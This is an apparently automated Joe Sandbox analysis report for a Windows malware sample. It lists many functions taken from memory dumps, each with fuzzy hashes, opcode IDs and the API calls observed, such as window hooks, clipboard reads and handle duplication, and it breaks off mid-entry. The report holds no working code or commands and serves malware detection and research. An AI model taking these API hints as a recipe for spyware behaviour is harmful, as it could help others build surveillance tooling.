Opcode Fuzzy Hash: 1be41663ce5f61f81be145547b6d6434e67e621dabbb347700769cb95b4e5d9e
Instruction Fuzzy Hash: 67413CB9900315DFDB14DF99C448AAABBF5FF88314F24C499D559AB322D374A841CFA0

Function 009DD6B8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,009DD686,?,?,?,?,?), ref: 009DD747

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c87c0b1885226c70401c45f5ad1eeca2a96d0b6a9da9ccabb9ca793e138ee704
Instruction ID: 134dfce3a84b39eb2faa1472425490ccdd4786459dfe618dc4c8e94a63204dcb
Opcode Fuzzy Hash: c87c0b1885226c70401c45f5ad1eeca2a96d0b6a9da9ccabb9ca793e138ee704
Instruction Fuzzy Hash: C521F5B5901248AFDB10CFAAD584ADEFFF4FB48310F14805AE918A7350C378A945CFA1

Function 009DB7D0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,009DD686,?,?,?,?,?), ref: 009DD747

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0f49af8756535875219729a6ba4bb2f34f32700328dec99ea0f7fa6212f7dd7e
Instruction ID: 58c9d68d58e4caa46793b52939ca2687a05a235ef917eb995385d7382824dfb4
Opcode Fuzzy Hash: 0f49af8756535875219729a6ba4bb2f34f32700328dec99ea0f7fa6212f7dd7e
Instruction Fuzzy Hash: BB21E3B59012489FDB10CF9AD584AEEBBF8EB48310F14845AE918A3350D379A954CFA5

Function 009DAFD8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009DB03E

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 94097b7a2d7e85336685d408e5c74d16ad9314571fa676133b9deebe0ef646cd
Instruction ID: b05a542bd8956cedea86a5168fb2c7ffc334c8ff2ab17cd879339196b69a8b51
Opcode Fuzzy Hash: 94097b7a2d7e85336685d408e5c74d16ad9314571fa676133b9deebe0ef646cd
Instruction Fuzzy Hash: 2211FDB68002498ECB20CF9AC444A9EFBF8AB88310F10C41AD928A7200D379A545CFA1

Function 0084D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087688224.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c018a1498e343b65f6c3ae221a5509e36520228a857c3764821ef2d7986ed5
Instruction ID: 9ce936324b225543cb8678a55641e9c676f069dd53402a11fd73340ad3b7373d
Opcode Fuzzy Hash: 42c018a1498e343b65f6c3ae221a5509e36520228a857c3764821ef2d7986ed5
Instruction Fuzzy Hash: 19212271600348DFCB05DF14D9C0F26BF65FB98318F20C5A9E9098B256C73AD816DBA2

Function 0085D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087741106.000000000085D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0085D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ff6332afd62a1287ea3b6c26d99e9de291b90c3f9a58852c049386fe31865e
Instruction ID: 155837390ba5a8c03b5f8a74d4a367b8aa869c907e7a6acba6d11b4e401084e7
Opcode Fuzzy Hash: 21ff6332afd62a1287ea3b6c26d99e9de291b90c3f9a58852c049386fe31865e
Instruction Fuzzy Hash: AF21F571504304DFDB25DF14D5C0B26BB65FB84315F20C56DDD098B356C37AE84ACA61

Function 0085D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087741106.000000000085D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0085D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc5eb7d98cf653928ddd01ca180fb4101cd2b98ad094be91e85e35a95a70354
Instruction ID: d8408795b670b42f2408acc4315073145238bcdca2b6718bad8ae25104a8ba05
Opcode Fuzzy Hash: 6cc5eb7d98cf653928ddd01ca180fb4101cd2b98ad094be91e85e35a95a70354
Instruction Fuzzy Hash: 1121D075604704DFDB24DF24D984B26BF65FB88315F20C569DD0A8B396C33AD80BCA62

Function 0085D005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087741106.000000000085D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0085D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c55c053b3fa8cffe3d98f909fc5e2a42ff41c9bdb003bbba4f1c342e48cb59c
Instruction ID: 8de537fc77c2dc7482be5ccd4b8304bc76d4608a3d1dd90a2221d607a2ae3405
Opcode Fuzzy Hash: 5c55c053b3fa8cffe3d98f909fc5e2a42ff41c9bdb003bbba4f1c342e48cb59c
Instruction Fuzzy Hash: 13219F755097808FDB12CF24D994B15BF71FB46314F28C5EADC498B6A7C33A980ACB62

Function 0084D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087688224.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 919d050fd0c2101e9ed56f76aeda8f92b22ce4584cef3a7290c1edecfa6a6777
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 5A112672504384CFCB02CF10D5C4B16BF71FB98318F24C6A9D8494B256C336D85ACBA2

Function 0085D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087741106.000000000085D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0085D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: b787d49a640874b6f68aaa400d6e20589560022cce72140e3fc1ab2142d39e06
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: F0118B75504380DFDB16CF14D5C4B15BBA2FB84314F24C6ADDC498B696C33AE84ACB62

Function 0084D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087688224.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d4f24d21186c1cb169503486118cf6759985478201f8cee5b463b9ae4daa5a
Instruction ID: 9d67b66271a5053b8a1dec08880dbdf37499cb3e14412b0c1ecf3966e94cd6c7
Opcode Fuzzy Hash: 39d4f24d21186c1cb169503486118cf6759985478201f8cee5b463b9ae4daa5a
Instruction Fuzzy Hash: 6501DB710053489EE7209F19CD88B67BF9CFF55364F18C56AED098A286D2799841CA71

Function 0084D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087688224.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6835e1894bec6dddbb8bce223daf7fd5ccd918e13d8eda6a9e1319bc30735343
Instruction ID: 19e4c1a35f280e13e16a13bd76d6bc838544585d38577ca0dad5fc0261c5ef15
Opcode Fuzzy Hash: 6835e1894bec6dddbb8bce223daf7fd5ccd918e13d8eda6a9e1319bc30735343
Instruction Fuzzy Hash: 85F096714053449EE7208E1ACD88B66FFA8FF55734F18C45AED485B386C2799C45CBB1

Non-executed Functions

Function 04BB0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100770882.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2594a6eaf5eb84eee48beeb81a991cc63a9859f52de5350a328c0f52ee584f53
Instruction ID: 8fa049f0f856ec3ffe36edbfdd5d8ad6113f9ab695438730c3a9e92f1de55c2d
Opcode Fuzzy Hash: 2594a6eaf5eb84eee48beeb81a991cc63a9859f52de5350a328c0f52ee584f53
Instruction Fuzzy Hash: C81293B042AF468BE710CF65ED4C1A93BB1BB41328F534209D3A66B2F5DBB4154AEF44

Function 009DD3A4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7498fe64d5afdd92cebd191feb78fe2c777f291ab862a2381b20e96550bbd4
Instruction ID: d34842146ed50de1b68fd6f16d9ed19aa62592168ba22613225a61bb5c4c37b1
Opcode Fuzzy Hash: ff7498fe64d5afdd92cebd191feb78fe2c777f291ab862a2381b20e96550bbd4
Instruction Fuzzy Hash: 04A16B36E402098FCF05DFB4C8515AEBBB6FF85300B15857AE906AB366DB71E916CB40

Function 04BB0006 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100770882.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41a8b20cee6e4e56b83d1390cae0f283dea3459a331db1296085928beedc18c
Instruction ID: 6a92251935c4816c7c4655e585ff0cb0c499022aba4519a5670155b025e08f2c
Opcode Fuzzy Hash: a41a8b20cee6e4e56b83d1390cae0f283dea3459a331db1296085928beedc18c
Instruction Fuzzy Hash: 02C1F8B082AF468FD711CF65EC481A97BB1BB85318F534209D3A26B2F5DBB4144AEF44

Analysis Process: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exePID: 6552, Parent PID: 6568COMMON

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	591
Total number of Limit Nodes:	50

Executed Functions

Function 0543D190 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c32813809b770fd420edbc22f343b5d42fe9e9170d52321538a930795cd26b2
Instruction ID: eaf209d7b452e7f5581e054a492e9c08eac5fc26622dc8683c06d8a01825644c
Opcode Fuzzy Hash: 2c32813809b770fd420edbc22f343b5d42fe9e9170d52321538a930795cd26b2
Instruction Fuzzy Hash: BBF12B30E002098FDB14DFA9C949BAEBBF2BF48344F15856AE419AB365DB74E945CB40

Function 011D7400 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 011D748E
GetCurrentThread.KERNEL32 ref: 011D74CB
GetCurrentProcess.KERNEL32 ref: 011D7508
GetCurrentThreadId.KERNEL32 ref: 011D7561

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 36da88d9e58d636e6c7169ac5b416c4e1228bce8d30fcdbed2261d0445030817
Instruction ID: bf5f4bce19adc129306f9005c46ac2d215bc98311fdddbfbd56c4a86d3bf603d
Opcode Fuzzy Hash: 36da88d9e58d636e6c7169ac5b416c4e1228bce8d30fcdbed2261d0445030817
Instruction Fuzzy Hash: CC5136B09003498FDB19DFAAD948BAEBFF5EF48314F20C459E419A73A0D7349944CB66

Function 011D7410 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 011D748E
GetCurrentThread.KERNEL32 ref: 011D74CB
GetCurrentProcess.KERNEL32 ref: 011D7508
GetCurrentThreadId.KERNEL32 ref: 011D7561

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d13692a0395b0e179ce098d26af534839f32520346c95ea1000bf42906a52b27
Instruction ID: b7a6e3c39c969d665d14100809c824601fe717949043c021f5efe9b7e4a3b6f5
Opcode Fuzzy Hash: d13692a0395b0e179ce098d26af534839f32520346c95ea1000bf42906a52b27
Instruction Fuzzy Hash: CB5148B09003498FDB19DFAADA48BAEBFF5EF48314F20C459E419A7390D7349944CB66

Function 054303AC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000037,00000000,00000000,03E560D8,02E77C30,?,00000000,?,00000000,00000000), ref: 054310E7

Strings

Haq, xrefs: 05430FD0

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: Haq
API String ID: 2492992576-725504367
Opcode ID: ed8e3a2266fd546af6d711306d99f1110caf86d8b6e1d036ecdfc8547a1fa64f
Instruction ID: 00bc01ce8b16f62b63f7ed848ffebce84cc75c37d501d64fe574055cf9c83ab1
Opcode Fuzzy Hash: ed8e3a2266fd546af6d711306d99f1110caf86d8b6e1d036ecdfc8547a1fa64f
Instruction Fuzzy Hash: 54519C303046118FD718EB39C459BAF77A6BF88614F1486AAE40ACB7A5CF75DD02CB94

Function 054593E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 05459435

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: CreateFromIconResource
String ID: V
API String ID: 3668623891-1342839628
Opcode ID: 778a1ffb63c3e2b5f0d29a7c52794cd9784cd69d98b41373a2196d132a5fe70c
Instruction ID: 3ce1f3dac798e35a46e927b69de918fbc39935024018153427647fce9393d8e6
Opcode Fuzzy Hash: 778a1ffb63c3e2b5f0d29a7c52794cd9784cd69d98b41373a2196d132a5fe70c
Instruction Fuzzy Hash: 13318B71904348DFCB12DFA9D804ADEBFF9FF0A320F14806AE954A7222C3359850DBA1

Function 054597A8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,?,?,?), ref: 0545980D

Strings

V, xrefs: 054597AD

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID: V
API String ID: 3850602802-1342839628
Opcode ID: 5212a44c6973ffaec73b2be3e4c47644e2b40eb3ae77334cdfebb401cee7fc1b
Instruction ID: 4355ca05710daee399450073d17d5233164b94c050d8ab3a62a7bbb9b4173d9b
Opcode Fuzzy Hash: 5212a44c6973ffaec73b2be3e4c47644e2b40eb3ae77334cdfebb401cee7fc1b
Instruction Fuzzy Hash: 151106B5800349DFDB10DF9AD585BDEBBF8FB48720F20841AD918A7241D375A544CFA1

Function 0543C547 Relevance: 1.7, APIs: 1, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c95e0d0eb1b47d1fae2cd56fa90d69da26a468e820df36fd9c5dd7c87bc404d
Instruction ID: 181c34121d67d5f36a06da0f6dd976f34a56e71f78f55f32f0aea9ae9f0fbde7
Opcode Fuzzy Hash: 4c95e0d0eb1b47d1fae2cd56fa90d69da26a468e820df36fd9c5dd7c87bc404d
Instruction Fuzzy Hash: E351A271A006058FCB14CFADC589ADEBBF5BF88314F2484AAE415A73A1CB74EC45CB91

Function 06781F50 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3600796785.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6780000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 849d390bba6d59b7f517c55b2ed54e55c1499b357356357964b04b24d3410bd7
Instruction ID: cc6697d1c953f73a75d82c61a6cad40949f771619446278db94996a7526480ad
Opcode Fuzzy Hash: 849d390bba6d59b7f517c55b2ed54e55c1499b357356357964b04b24d3410bd7
Instruction Fuzzy Hash: B5412271E143499FCB04DFA9C8042EEBBF1EF89310F15856AD808A7241DB389985CBE1

Function 0543568C Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054357AA

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3fb876afedb5e21b7dbd97b54b0159166556580de1e00b71abc1435240c8c187
Instruction ID: 445348348ea1b79d1ba275da97c355d740a361ab5d54b3fd3d4f5537066de3b0
Opcode Fuzzy Hash: 3fb876afedb5e21b7dbd97b54b0159166556580de1e00b71abc1435240c8c187
Instruction Fuzzy Hash: 3851D0B1D10309DFDB14CFAAC985ADEBFB5BF48310F24812AE419AB250D7749985CF90

Function 05435698 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054357AA

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7f590ea682945b4d32d43a9f9fa3a4a4dc35e332b3b431b9e8034a90bb1258ff
Instruction ID: a459abdbab4bfad47119c15e8648ca1d11d588fb0294ba9523ba1f3d7a9627e7
Opcode Fuzzy Hash: 7f590ea682945b4d32d43a9f9fa3a4a4dc35e332b3b431b9e8034a90bb1258ff
Instruction Fuzzy Hash: 9C41C0B1D10309DFDB14CF9AC884ADEBFB5BF48310F24812AE819AB250D775A985CF90

Function 054354A4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05438CF1

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f2df869c7633e9ef59dab8d0a0eac08669c1cfd86004ae7d981a064e6161050f
Instruction ID: e2bc96972115593da5c4633c4a6a980feeef3994496d6346e012fc4de7bf7d6d
Opcode Fuzzy Hash: f2df869c7633e9ef59dab8d0a0eac08669c1cfd86004ae7d981a064e6161050f
Instruction Fuzzy Hash: C5412AB4901209CFCB14DF99C449AAAFBF5FF88314F24C85AE519A7321D774A841CBA0

Function 05431028 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000037,00000000,00000000,03E560D8,02E77C30,?,00000000,?,00000000,00000000), ref: 054310E7

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1d790ba73051770ba7cc1b0015d5db2847ef6d9fa199e8c5f1be5e3613448253
Instruction ID: 863a01670d55927764cfe179a08151187062b53b9e88d8a1d42b765bec7300c7
Opcode Fuzzy Hash: 1d790ba73051770ba7cc1b0015d5db2847ef6d9fa199e8c5f1be5e3613448253
Instruction Fuzzy Hash: 19215B303046119FD718EB29D859B6F77BAFB88614F14826AE00ACB7A0CB71EC42C794

Function 0545074C Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 054517A0

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 70032dc48f83e4e902471c1ef78f941519ba01177b69ac64fd1767dc555b71bd
Instruction ID: 9daebd9229acad194bfc991dffc28a5ed2d5f1accb95b924ea59bb495482a1f0
Opcode Fuzzy Hash: 70032dc48f83e4e902471c1ef78f941519ba01177b69ac64fd1767dc555b71bd
Instruction Fuzzy Hash: B83122B0D01208DFDB20DFA9C984BCEBBF5BF48314F24805AE408AB391D7746945CBA5

Function 0545170C Relevance: 1.6, APIs: 1, Instructions: 72comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 054517A0

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 2feedaee4baeaba6214b573cc711add381ec9a7e58e2fa568c61afceb0c35f34
Instruction ID: ae78c7a1f8cb86cb8e661513740bd4a621492be4f35b81ac3a00c3007ac0281c
Opcode Fuzzy Hash: 2feedaee4baeaba6214b573cc711add381ec9a7e58e2fa568c61afceb0c35f34
Instruction Fuzzy Hash: D8311EB0D01248DFDB20DFA9C984BDEBBF1AF48314F24805AE404BB395D7745945CB65

Function 0545C960 Relevance: 1.6, APIs: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0545C9E5

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1374cefb38fca6650f50faa375946d21a3a0cde32554a67cbd20ec1998e1decd
Instruction ID: a8b00cb0512b79e40f86b1a6106d77d092a8a99c32b690099b82b1d955329438
Opcode Fuzzy Hash: 1374cefb38fca6650f50faa375946d21a3a0cde32554a67cbd20ec1998e1decd
Instruction Fuzzy Hash: A821A4B58083858FCB11CF99C885BEEBFF4EF4A210F14449AD494E7253C3789945CBA5

Function 011D7689 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 011D7717

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c9251f5bfe965c1bec329a20a8e723475edcec0fd85d96dfdc0bfd7043792f2f
Instruction ID: 060534b557c856aeabd4e0e4af19d632fa8fffd30d3a0e55c3c4945fce8f9292
Opcode Fuzzy Hash: c9251f5bfe965c1bec329a20a8e723475edcec0fd85d96dfdc0bfd7043792f2f
Instruction Fuzzy Hash: FA21E6B5D002489FDB10CFAAD584ADEBFF5FB48310F14841AE918A3350D378A954CFA5

Function 011D7690 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 011D7717

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e3f464f0e7449087441c00004c8e5adab1f535ced04ae63e00158749b803f62e
Instruction ID: 77e7694e367defb77ea02e582e9825e04c36474ec922d15438a1863180761863
Opcode Fuzzy Hash: e3f464f0e7449087441c00004c8e5adab1f535ced04ae63e00158749b803f62e
Instruction Fuzzy Hash: A721C2B59002499FDB10CFAAD984ADEBFF9FB48314F14841AE918A3350D378A954CFA5

Function 011D2A02 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 011D2A83

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 68fcc5ed9d0a5279cf7098351827a586058a6c49b1ef78dba60f3fbea87c1e0b
Instruction ID: 73bb435c107eab651b119784b7876bbb82b7e201213ca053a60ae120a4107db1
Opcode Fuzzy Hash: 68fcc5ed9d0a5279cf7098351827a586058a6c49b1ef78dba60f3fbea87c1e0b
Instruction Fuzzy Hash: 762125B5D002498FCB24DFAAC944BEEBBF5EF88310F108419D429A7250C778A945CFA1

Function 011D2A08 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 011D2A83

Memory Dump Source

Source File: 00000005.00000002.3596553953.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: HookWindows
String ID:
